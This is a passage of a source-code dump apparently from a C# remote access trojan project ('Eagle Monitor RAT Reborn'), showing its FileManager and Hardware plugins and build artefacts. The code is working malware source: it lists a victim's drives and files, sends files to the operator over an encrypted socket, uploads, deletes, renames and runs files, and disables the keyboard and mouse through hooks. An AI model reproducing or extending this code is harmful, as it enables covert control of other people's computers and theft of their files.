BUFFER_CHUNK_SIZE) buffer = new byte[totalSize]; } } else { buffer = new byte[totalSize]; source.Read(buffer, 0, buffer.Length); DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket); IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null); int size = sendDataAsync.EndInvoke(ar); } } this.Dispose(); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(loadingAPI.Key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/FileManager.csproj ================================================  Debug AnyCPU {08BF3C47-16A4-4D13-9A5B-3130F29CC180} Library Properties Plugin FileManager v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\System.dll ..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\System.Drawing.dll ..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5\System.Windows.Forms.dll {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/FileManager/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/FileManager/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/FileManager/GetDisks.cs ================================================ using System.Collections.Generic; using System.IO; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class GetDisks { internal static List GetAllDisks() { List disksList = new List(); DriveInfo[] D = DriveInfo.GetDrives(); foreach (DriveInfo S in D) { disksList.Add(S.Name); } return disksList; } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/GetFilesAndDirs.cs ================================================ using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.IO; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class GetFilesAndDirs { private static long GetFilesSize(string path) { long sizeDir = 0; foreach (string file in Directory.GetFiles(path, "*.*", SearchOption.TopDirectoryOnly)) { sizeDir += new FileInfo(file).Length; } return sizeDir; } internal static Dictionary> GetAllFilesAndDirs(string path) { Dictionary> fileManager = new Dictionary> { { 0, new List() }, { 1, new List() } }; try { foreach (string directory in Directory.GetDirectories(path, "*.*", SearchOption.TopDirectoryOnly)) { try { string nameDir = Path.GetFileName(directory); fileManager[0].Add(new object[] { nameDir, GetFilesSize(directory) }); } catch (Exception) { } } foreach (string file in Directory.GetFiles(path, "*.*", SearchOption.TopDirectoryOnly)) { string filePath = Path.GetFileName(file); try { Icon i = Icon.ExtractAssociatedIcon(file); MemoryStream stream = new MemoryStream(); Bitmap btm = i.ToBitmap(); btm.Save(stream, ImageFormat.Png); FileInfo fileInfo = new FileInfo(file); fileManager[1].Add(new object[] { filePath, stream.ToArray(), fileInfo.Length }); } catch (Exception) { } } } catch (Exception) { } return fileManager; } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Imports { #region "kernel32" private const string kernel32 = "kernel32.dll"; [DllImport(kernel32)] internal static extern bool MoveFile([MarshalAsAttribute(UnmanagedType.LPStr)] string lpExistingFileName, [MarshalAsAttribute(UnmanagedType.LPStr)] string lpNewFileName); #endregion #region "shell32" //https://docs.microsoft.com/en-us/windows/win32/shell/knownfolderid private const string shell32 = "shell32.dll"; [DllImport(shell32)] internal static extern int SHGetKnownFolderPath([MarshalAs(UnmanagedType.LPStruct)] Guid rfid, uint dwFlags, IntPtr hToken, out IntPtr pszPath); internal const string FOLDERID_Downloads = "{374DE290-123F-4565-9164-39C4925E467B}"; internal const string FOLDERID_Profile = "{5E6C858F-0E22-4760-9AFE-EA3317B67173}"; #endregion } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/Launch.cs ================================================ using PacketLib.Utils; using PacketLib.Packet; using PacketLib; using System.Threading; using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { string filePath; switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.FM_GET_DISK: DiskPacket diskPacket = new DiskPacket(GetDisks.GetAllDisks(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, diskPacket); break; case PacketType.FM_GET_FILES_AND_DIRS: string path = ((FileManagerPacket)loadingAPI.CurrentPacket).path; FileManagerPacket fileManagerPacket = new FileManagerPacket(GetFilesAndDirs.GetAllFilesAndDirs(path), loadingAPI.BaseIp, loadingAPI.HWID); fileManagerPacket.path = path; ClientSender(loadingAPI.Host, loadingAPI.Key, fileManagerPacket); break; case PacketType.FM_DOWNLOAD_FILE: ClientFileSender(loadingAPI); break; case PacketType.FM_DELETE_FILE: filePath = ((DeleteFilePacket)loadingAPI.CurrentPacket).path; Tuple returnFromFunc = DeleteFile.RemoveFile(filePath); DeleteFilePacket deleteFilePacket = new DeleteFilePacket(returnFromFunc.Item1, ((DeleteFilePacket)loadingAPI.CurrentPacket).name, returnFromFunc.Item2, loadingAPI.BaseIp, loadingAPI.HWID, ((DeleteFilePacket)loadingAPI.CurrentPacket).fileTicket); ClientSender(loadingAPI.Host, loadingAPI.Key, deleteFilePacket); break; case PacketType.FM_START_FILE: filePath = ((StartFilePacket)loadingAPI.CurrentPacket).filePath; StartFile.StartAProcess(filePath); break; case PacketType.FM_RENAME_FILE: RenameFilePacket renameFilePacketReceived = (RenameFilePacket)loadingAPI.CurrentPacket; RenameFilePacket renameFilePacket = new RenameFilePacket(renameFilePacketReceived.oldName, renameFilePacketReceived.oldPath, renameFilePacketReceived.newName, renameFilePacketReceived.newPath, loadingAPI.BaseIp, loadingAPI.HWID) { isRenamed = MoveFile.RenameFile(renameFilePacketReceived.oldPath, renameFilePacketReceived.newPath) }; ClientSender(loadingAPI.Host, loadingAPI.Key, renameFilePacket); break; case PacketType.FM_SHORTCUT_PATH: ShortCutFileManagersPacket shortCutFileManagersPacketReceived = (ShortCutFileManagersPacket)loadingAPI.CurrentPacket; string newPath = ""; ShortCutFileManagersPacket shortCutFileManagersPacket = new ShortCutFileManagersPacket(Shorcuts.ShortcutsWrapper(shortCutFileManagersPacketReceived.shortCuts, ref newPath), loadingAPI.BaseIp, loadingAPI.HWID); shortCutFileManagersPacket.shortCuts = shortCutFileManagersPacketReceived.shortCuts; shortCutFileManagersPacket.path = newPath; ClientSender(loadingAPI.Host, loadingAPI.Key, shortCutFileManagersPacket); break; case PacketType.FM_UPLOAD_FILE: UploadFilePacket uploadFilePacketReceived = (UploadFilePacket)loadingAPI.CurrentPacket; UploadFilePacket uploadFilePacket = new UploadFilePacket(uploadFilePacketReceived.path, UploadFile.WriteUploadedFile(uploadFilePacketReceived.path, Compressor.QuickLZ.Decompress(uploadFilePacketReceived.file)), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, uploadFilePacket); break; default: return; } Miscellaneous.CleanMemory(); } private static void ClientFileSender(LoadingAPI loadingAPI) { string filePath = ((DownloadFilePacket)loadingAPI.CurrentPacket).fileName; DownloadClientHandler clientHandler = new DownloadClientHandler(loadingAPI, ((DownloadFilePacket)loadingAPI.CurrentPacket).fileTicket, ((DownloadFilePacket)loadingAPI.CurrentPacket).bufferSize); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.StartSendingFile(filePath); } private static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/MoveFile.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class MoveFile { internal static bool RenameFile(string oldPath, string newPath) { try { return Imports.MoveFile(oldPath, newPath); } catch (Exception) { return false; } } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("FileManager")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("FileManager")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("08bf3c47-16a4-4d13-9a5b-3130f29cc180")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/FileManager/Shorcuts.cs ================================================ using PacketLib.Packet; using System; using System.Collections.Generic; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class Shorcuts { internal static Dictionary> ShortcutsWrapper(ShortCutFileManagersPacket.ShortCuts shortCuts, ref string path) { IntPtr strPath = new IntPtr(); switch (shortCuts) { case ShortCutFileManagersPacket.ShortCuts.DOWNLOADS: Imports.SHGetKnownFolderPath(new Guid(Imports.FOLDERID_Downloads), 0, IntPtr.Zero, out strPath); path = Marshal.PtrToStringAuto(strPath) + "\\"; break; case ShortCutFileManagersPacket.ShortCuts.DOCUMENTS: path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + "\\"; break; case ShortCutFileManagersPacket.ShortCuts.DESKTOP: path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\"; break; case ShortCutFileManagersPacket.ShortCuts.USER_PROFILE: Imports.SHGetKnownFolderPath(new Guid(Imports.FOLDERID_Profile), 0, IntPtr.Zero, out strPath); path = Marshal.PtrToStringAuto(strPath) + "\\"; break; } return GetFilesAndDirs.GetAllFilesAndDirs(path); } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/StartFile.cs ================================================ using System.Diagnostics; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class StartFile { internal static void StartAProcess(string path) { Process.Start(path); } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/UploadFile.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class UploadFile { internal static bool WriteUploadedFile(string path, byte[] file) { try { System.IO.File.WriteAllBytes(path, file); return true; } catch (Exception) { return false; } } } } ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Debug/FileManager.csproj.CoreCompileInputs.cache ================================================ 54024ee9bd63c797acbf2976f10961b73a740cd8 ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Debug/FileManager.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncFlow\FileManager\bin\Debug\FileManager.dll F:\Personal\DesyncFlow\FileManager\bin\Debug\FileManager.pdb F:\Personal\DesyncFlow\FileManager\bin\Debug\PacketLib.dll F:\Personal\DesyncFlow\FileManager\obj\Debug\FileManager.csproj.AssemblyReference.cache F:\Personal\DesyncFlow\FileManager\obj\Debug\FileManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncFlow\FileManager\obj\Debug\FileManager.csproj.CopyComplete F:\Personal\DesyncFlow\FileManager\obj\Debug\FileManager.dll F:\Personal\DesyncFlow\FileManager\obj\Debug\FileManager.pdb F:\Personal\DesyncOps\FileManager\bin\Debug\FileManager.dll F:\Personal\DesyncOps\FileManager\bin\Debug\FileManager.pdb F:\Personal\DesyncOps\FileManager\bin\Debug\PacketLib.dll F:\Personal\DesyncOps\bin\Debug\Plugins\FileManager.dll F:\Personal\DesyncOps\FileManager\obj\Debug\FileManager.csproj.AssemblyReference.cache F:\Personal\DesyncOps\FileManager\obj\Debug\FileManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\FileManager\obj\Debug\FileManager.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\FileManager\obj\Debug\FileManager.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.dll F:\Personal\DesyncOps\Remote Access Tool\bin\Debug\Plugins\FileManager.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\bin\Debug\Plugins\FileManager.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\FileManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\FileManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Debug\FileManager.dll ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Debug/FileManager.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.CoreCompileInputs.cache ================================================ affd79c588507449c4a6fa375a984aadce4466e8 ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\bin\Release\Plugins\FileManager.dll F:\Personal\DesyncOps\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache F:\Personal\DesyncOps\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\FileManager\obj\Release\FileManager.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\FileManager\obj\Release\FileManager.dll F:\Personal\DesyncOps\FileManager\obj\Release\FileManager.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\FileManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\FileManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\FileManager\obj\Release\FileManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\FileManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\FileManager.dll C:\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\FileManager.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\FileManager.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\FileManager.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\FileManager\obj\Release\FileManager.dll ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Release/FileManager.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/FileManager/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Hardware/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Hardware/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Hardware/Hardware.csproj ================================================  Debug AnyCPU {2CC85CB5-442E-4CC2-A905-D6DEDBC1EC32} Library Properties Plugin Hardware v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll {64c6e036-ff80-4f45-87f6-0a9996131fa1} HookHardware {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/Hardware/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.HDW_KB_OFF: HookHardware.Global.HookKeyboard(); break; case PacketType.HDW_KB_ON: HookHardware.Global.UnhookKeyboard(); break; case PacketType.HDW_MS_OFF: HookHardware.Global.HookMouse(); break; case PacketType.HDW_MS_ON: HookHardware.Global.UnhookMouse(); break; default: return; } Miscellaneous.CleanMemory(); } } } ================================================ FILE: Remote Access Tool/Plugins/Hardware/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Hardware")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Hardware")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("2cc85cb5-442e-4cc2-a905-d6dedbc1ec32")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Debug/Hardware.csproj.CoreCompileInputs.cache ================================================ 71e168e6ccb9da0b4a0fa3a3e4351561d8d5ca92 ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Debug/Hardware.csproj.FileListAbsolute.txt ================================================ D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Hardware.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Hardware.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Hardware\obj\Debug\Hardware.dll ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Debug/Hardware.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/Hardware/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access 